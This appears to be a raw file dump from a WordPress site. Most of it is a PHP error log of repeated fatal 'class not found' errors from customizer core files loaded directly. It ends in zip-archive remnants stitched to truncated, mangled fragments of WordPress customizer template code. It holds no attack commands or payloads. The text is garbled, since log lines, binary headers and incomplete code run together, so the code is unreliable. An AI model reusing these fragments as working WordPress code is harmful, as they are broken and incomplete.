/home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17 [18-May-2025 18:55:01 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17 [18-May-2025 18:55:03 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17 [18-May-2025 18:55:06 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17 [18-May-2025 18:55:06 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php on line 19 [18-May-2025 18:55:07 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php on line 19 [18-May-2025 18:55:09 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php on line 19 [18-May-2025 18:55:12 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-filter-setting.php on line 19 [18-May-2025 18:55:13 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17 [18-May-2025 18:55:13 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17 [18-May-2025 18:55:15 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17 [18-May-2025 18:55:18 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17 [18-May-2025 18:55:19 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19 [18-May-2025 18:55:19 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19 [18-May-2025 18:55:21 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19 [18-May-2025 18:55:24 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19 [18-May-2025 18:55:24 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17 [18-May-2025 18:55:25 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17 [18-May-2025 18:55:27 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17 [18-May-2025 18:55:29 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17 [18-May-2025 18:55:30 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17 [18-May-2025 18:55:31 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17 [18-May-2025 18:55:32 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17 [18-May-2025 18:55:35 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17 [18-May-2025 18:55:36 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21 [18-May-2025 18:55:37 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21 [18-May-2025 18:55:39 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21 [18-May-2025 18:55:42 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21 [18-May-2025 18:55:42 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php on line 17 [18-May-2025 18:55:43 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php on line 17 [18-May-2025 18:55:45 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php on line 17 [18-May-2025 18:55:48 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-date-time-control.php on line 17 [18-May-2025 18:55:49 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11 [18-May-2025 18:55:49 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11 [18-May-2025 18:55:51 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11 [18-May-2025 18:55:54 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11 [18-May-2025 18:55:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19 [18-May-2025 18:55:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19 [18-May-2025 18:55:57 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19 [18-May-2025 18:56:00 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19 [18-May-2025 18:56:01 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11 [18-May-2025 18:56:01 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11 [18-May-2025 18:56:03 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11 [18-May-2025 18:56:06 America/New_York] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php:11 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11 [18-May-2025 18:56:07 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php on line 17 [18-May-2025 18:56:08 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php on line 17 [18-May-2025 18:56:10 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php on line 17 [18-May-2025 18:56:12 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-header-image-control.php on line 17 [18-May-2025 18:56:13 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17 [18-May-2025 18:56:14 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17 [18-May-2025 18:56:16 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17 [18-May-2025 18:56:19 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17 [18-May-2025 18:56:19 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17 [18-May-2025 18:56:20 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17 [18-May-2025 18:56:22 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17 [18-May-2025 18:56:25 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17 [18-May-2025 18:56:25 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php on line 17 [18-May-2025 18:56:26 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php on line 17 [18-May-2025 18:56:28 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php on line 17 [18-May-2025 18:56:31 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-upload-control.php on line 17 [18-May-2025 18:56:32 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17 [18-May-2025 18:56:32 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17 [18-May-2025 18:56:34 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17 [18-May-2025 18:56:37 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17 [18-May-2025 18:56:38 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php on line 17 [18-May-2025 18:56:39 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php on line 17 [18-May-2025 18:56:41 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php on line 17 [18-May-2025 18:56:43 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-background-image-control.php on line 17 [18-May-2025 18:56:44 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19 [18-May-2025 18:56:45 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19 [18-May-2025 18:56:46 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19 [18-May-2025 18:56:49 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19 [18-May-2025 18:56:50 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17 [18-May-2025 18:56:51 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17 [18-May-2025 18:56:53 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17 [18-May-2025 18:56:55 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17 [18-May-2025 18:56:56 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php on line 17 [18-May-2025 18:56:57 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php on line 17 [18-May-2025 18:56:58 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php on line 17 [18-May-2025 18:57:01 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php:17 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-media-control.php on line 17 [18-May-2025 18:57:02 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php on line 19 [18-May-2025 18:57:03 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php on line 19 [18-May-2025 18:57:04 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php on line 19 [18-May-2025 18:57:07 America/New_York] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php:19 Stack trace: #0 {main} thrown in /home/abhiramc/public_html/biharafoods/wp-includes/customize/class-wp-customize-themes-section.php on line 19 PK!Mf##&class-wp-customize-sidebar-section.phpnu[sidebar_id; return $json; } /** * Whether the current sidebar is rendered on the page. * * @since 4.1.0 * * @return bool Whether sidebar is rendered. */ public function active_callback() { return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id ); } } PK!=j_=55(class-wp-customize-site-icon-control.phpnu[ <# if ( data.label ) { #> {{ data.label }} <# } #> <# if ( data.attachment && data.attachment.id ) { #>
    <# if ( data.attachment.sizes ) { #>
    {{
								data.attachment.alt ?
									wp.i18n.sprintf(
										<?php
										/* translators: %s: The selected image alt text. */
										echo wp_json_encode( __( 'App icon preview: Current image: %s' ) )
										?>
										,
										data.attachment.alt
									) :
									wp.i18n.sprintf(
										<?php
										/* translators: %s: The selected image filename. */
										echo wp_json_encode( __( 'App icon preview: The current image has no alternative text. The file name is: %s' ) );
										?>
										,
										data.attachment.filename
									)
							}}
    {{
										data.attachment.alt ?
											wp.i18n.sprintf(
												<?php
												/* translators: %s: The selected image alt text. */
												echo wp_json_encode( __( 'Browser icon preview: Current image: %s' ) );
												?>
												,
												data.attachment.alt
											) :
											wp.i18n.sprintf(
												<?php
												/* translators: %s: The selected image filename. */
												echo wp_json_encode( __( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ) );
												?>
												,
												data.attachment.filename
											)
									}}
    <# } #>
    <# if ( data.canUpload ) { #> <# } #>
    <# } else { #>
    <# if ( data.canUpload ) { #> <# } #>
    <# if ( data.defaultAttachment ) { #> <# } #>
    <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #> max_year; $data['minYear'] = (int) $this->min_year; $data['allowPastDate'] = (bool) $this->allow_past_date; $data['twelveHourFormat'] = (bool) $this->twelve_hour_format; $data['includeTime'] = (bool) $this->include_time; return $data; } /** * Renders a JS template for the content of date time control. * * @since 4.9.0 */ public function content_template() { $data = array_merge( $this->json(), $this->get_month_choices() ); $timezone_info = $this->get_timezone_info(); $date_format = get_option( 'date_format' ); $date_format = preg_replace( '/(? <# _.defaults( data, ); #> <# var idPrefix = _.uniqueId( 'el' ) + '-'; #> <# if ( data.label ) { #> {{ data.label }} <# } #>
